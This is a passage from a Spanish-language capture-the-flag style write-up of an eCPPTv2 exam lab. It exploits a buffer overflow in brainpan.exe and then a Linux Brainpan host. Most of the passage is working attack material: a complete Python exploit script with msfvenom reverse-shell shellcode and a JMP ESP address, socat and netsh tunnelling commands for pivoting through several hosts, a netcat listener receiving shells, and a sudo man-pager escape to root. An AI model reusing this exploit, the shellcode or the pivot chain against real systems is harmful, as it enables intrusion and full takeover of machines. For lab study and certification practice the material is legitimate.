shellcode += b"\x91\xa9\xb2\x7a\x4f\x07\x75\xd5\x21\xf1\x2f"
shellcode += b"\x8a\xeb\x95\xb6\xe0\x2b\xe3\xb6\x2c\xda\x0b"
shellcode += b"\x06\x99\x9b\x34\xa7\x4d\x2c\x4d\xd5\xed\xd3"
shellcode += b"\x84\x5d\x0d\x36\x0c\xa8\xa6\xef\xc5\x11\xab"
shellcode += b"\x0f\x30\x55\xd2\x93\xb0\x26\x21\x8b\xb1\x23"
shellcode += b"\x6d\x0b\x2a\x5e\xfe\xfe\x4c\xcd\xff\x2a"

Ahora, como el primer Buffer Overflow del laboratorio, tendremos que cualcular el JMP al ESP, recordemos que la instrucción es FF E4, así que con la herramienta mona buscaremos los bytes “\xFF\xE4”, usaremos el siguiente comando !mona find -s "\xFF\xE4" -m brainpan.exe, y el mona nos releva la dirección 0x311712f3, le daremos el último toque a nuestro script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3
from pwn import log, socket

offset = 524
junk = b"A" * offset
jmpesp = b"\xf3\x12\x17\x31"
nops = b"\x90" * 16

shellcode =  b""
shellcode += b"\xda\xd3\xba\x0d\xc5\xfc\x6d\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x31\x56\x17\x83\xc6\x04"
shellcode += b"\x03\x5b\xd6\x1e\x98\x9f\x30\x5c\x63\x5f\xc1"
shellcode += b"\x01\xed\xba\xf0\x01\x89\xcf\xa3\xb1\xd9\x9d"
shellcode += b"\x4f\x39\x8f\x35\xdb\x4f\x18\x3a\x6c\xe5\x7e"
shellcode += b"\x75\x6d\x56\x42\x14\xed\xa5\x97\xf6\xcc\x65"
shellcode += b"\xea\xf7\x09\x9b\x07\xa5\xc2\xd7\xba\x59\x66"
shellcode += b"\xad\x06\xd2\x34\x23\x0f\x07\x8c\x42\x3e\x96"
shellcode += b"\x86\x1c\xe0\x19\x4a\x15\xa9\x01\x8f\x10\x63"
shellcode += b"\xba\x7b\xee\x72\x6a\xb2\x0f\xd8\x53\x7a\xe2"
shellcode += b"\x20\x94\xbd\x1d\x57\xec\xbd\xa0\x60\x2b\xbf"
shellcode += b"\x7e\xe4\xaf\x67\xf4\x5e\x0b\x99\xd9\x39\xd8"
shellcode += b"\x95\x96\x4e\x86\xb9\x29\x82\xbd\xc6\xa2\x25"
shellcode += b"\x11\x4f\xf0\x01\xb5\x0b\xa2\x28\xec\xf1\x05"
shellcode += b"\x54\xee\x59\xf9\xf0\x65\x77\xee\x88\x24\x10"
shellcode += b"\xc3\xa0\xd6\xe0\x4b\xb2\xa5\xd2\xd4\x68\x21"
shellcode += b"\x5f\x9c\xb6\xb6\xa0\xb7\x0f\x28\x5f\x38\x70"
shellcode += b"\x61\xa4\x6c\x20\x19\x0d\x0d\xab\xd9\xb2\xd8"
shellcode += b"\x7c\x89\x1c\xb3\x3c\x79\xdd\x63\xd5\x93\xd2"
shellcode += b"\x5c\xc5\x9c\x38\xf5\x6c\x67\xab\x3a\xd8\xa6"
shellcode += b"\xab\xd3\x1b\x28\xad\x98\x95\xce\xc7\xce\xf3"
shellcode += b"\x59\x70\x76\x5e\x11\xe1\x77\x74\x5c\x21\xf3"
shellcode += b"\x7b\xa1\xec\xf4\xf6\xb1\x99\xf4\x4c\xeb\x0c"
shellcode += b"\x0a\x7b\x83\xd3\x99\xe0\x53\x9d\x81\xbe\x04"
shellcode += b"\xca\x74\xb7\xc0\xe6\x2f\x61\xf6\xfa\xb6\x4a"
shellcode += b"\xb2\x20\x0b\x54\x3b\xa4\x37\x72\x2b\x70\xb7"
shellcode += b"\x3e\x1f\x2c\xee\xe8\xc9\x8a\x58\x5b\xa3\x44"
shellcode += b"\x36\x35\x23\x10\x74\x86\x35\x1d\x51\x70\xd9"
shellcode += b"\xac\x0c\xc5\xe6\x01\xd9\xc1\x9f\x7f\x79\x2d"
shellcode += b"\x4a\xc4\x99\xcc\x5e\x31\x32\x49\x0b\xf8\x5f"
shellcode += b"\x6a\xe6\x3f\x66\xe9\x02\xc0\x9d\xf1\x67\xc5"
shellcode += b"\xda\xb5\x94\xb7\x73\x50\x9a\x64\x73\x71"

log.info("Enviando buffer")

shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = shell.connect(("192.168.1.92", 9999))

shell.send(junk + jmpesp + nops + shellcode + b"\n\r")

data = shell.recv(1024)
shell.close()

Ahora si ejecutamos el script y nos ponemos en escucha con netcat, recibiremos la shell

1
2
❯ python3 exploit.py
[*] Enviando buffer
1
2
3
4
5
6
7
8
9
10
❯ nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 192.168.1.92
Microsoft Windows [Versión 10.0.22621.1105]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\l4nder\Desktop>whoami
hacker\l4nder

C:\Users\l4nder\Desktop>

Para ejecutar el exploit en la máquina brainpan, tendremos que editar el shellcode para que nos mande una reverse shell a la máquina Matrix, adelantandonos, editaré el sistema operativo, así que ahora el shellcode será para un sistema operativo Linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.15.12.128 LPORT=443 EXITFUNC=thread -a x86 -b "\x00" -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 550 bytes
shellcode =  b""
shellcode += b"\xdb\xcc\xd9\x74\x24\xf4\x58\xba\xf2\x37\xd9"
shellcode += b"\xa6\x2b\xc9\xb1\x12\x31\x50\x17\x83\xe8\xfc"
shellcode += b"\x03\xa2\x24\x3b\x53\x73\x90\x4c\x7f\x20\x65"
shellcode += b"\xe0\xea\xc4\xe0\xe7\x5b\xae\x3f\x67\x08\x77"
shellcode += b"\x70\x57\xe2\x07\x39\xd1\x05\x6f\xb0\x2e\xfa"
shellcode += b"\xef\xac\x32\x02\xee\x97\xba\xe3\x40\x81\xec"
shellcode += b"\xb2\xf3\xfd\x0e\xbc\x12\xcc\x91\xec\xbc\xa1"
shellcode += b"\xbe\x63\x54\x56\xee\xac\xc6\xcf\x79\x51\x54"
shellcode += b"\x43\xf3\x77\xe8\x68\xce\xf8"

Editaremos el shellcode en el script en python, así que quedaría algo así

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
from pwn import log, socket

offset = 524
junk = b"A" * offset
jmpesp = b"\xf3\x12\x17\x31"
nops = b"\x90" * 16

shellcode =  b""
shellcode += b"\xdb\xcc\xd9\x74\x24\xf4\x58\xba\xf2\x37\xd9"
shellcode += b"\xa6\x2b\xc9\xb1\x12\x31\x50\x17\x83\xe8\xfc"
shellcode += b"\x03\xa2\x24\x3b\x53\x73\x90\x4c\x7f\x20\x65"
shellcode += b"\xe0\xea\xc4\xe0\xe7\x5b\xae\x3f\x67\x08\x77"
shellcode += b"\x70\x57\xe2\x07\x39\xd1\x05\x6f\xb0\x2e\xfa"
shellcode += b"\xef\xac\x32\x02\xee\x97\xba\xe3\x40\x81\xec"
shellcode += b"\xb2\xf3\xfd\x0e\xbc\x12\xcc\x91\xec\xbc\xa1"
shellcode += b"\xbe\x63\x54\x56\xee\xac\xc6\xcf\x79\x51\x54"
shellcode += b"\x43\xf3\x77\xe8\x68\xce\xf8"

log.info("Enviando shellcode")

shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = shell.connect(("10.15.12.129", 9999))

shell.send(junk + jmpesp + nops + shellcode + b"\n\r")

data = shell.recv(1024)
shell.close()

Ahora crearemos los túneles para enviar la reverse shell

1
2
3
4
5
6
7
8
9
10
11
# Matrix
root@porteus:/tmp# ./socat TCP-LISTEN:443,fork TCP:172.18.0.130:1347

# Dumbledore
C:\Windows\system32>netsh interface portproxy add v4tov4 listenport=1347 listenaddress=0.0.0.0 connectport=1348 connectaddress=192.168.100.129

#NAGINI
root@Nagini:/tmp# ./socat TCP-LISTEN:1348,fork TCP:10.10.0.134:1349

#ARAGOG
root@Aragog:/tmp# ./socat TCP-LISTEN:1349,fork TCP:192.168.1.148:443

Nos ponemos en escucha con netcat y al ejecutar el script, recibimos la shell, hemos penetrado la máquina Brainpan

Escalada de Privilegios


Listando privilegios a nivel de sudoers, vemos que podemos ejecutar el binario anansi_util como el usuario root sin proporcionar contraseña. El binario nos permite abrir el manual de cualquier binario

1
2
3
4
5
6
7
8
9
10
11
12
puck@brainpan:$ sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

Abriremos el manual del comando whoami, como está en formato paginated, ejecutaremos el comando !/bin/bash, con este comando escapamos del contexto del binario y conseguimos la shell. La última flag está en el directorio personal del usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual whoami
No manual entry for manual
root@brainpan:/usr/share/man# whoami
root
root@brainpan:/usr/share/man# cd /root
root@brainpan:~# ls
b.txt
root@brainpan:~# cat b.txt 
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com 


Hemos completado el laboratorio del exámen del eCPPTv2! Suerte con esta certificación!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.

Etiquetas populares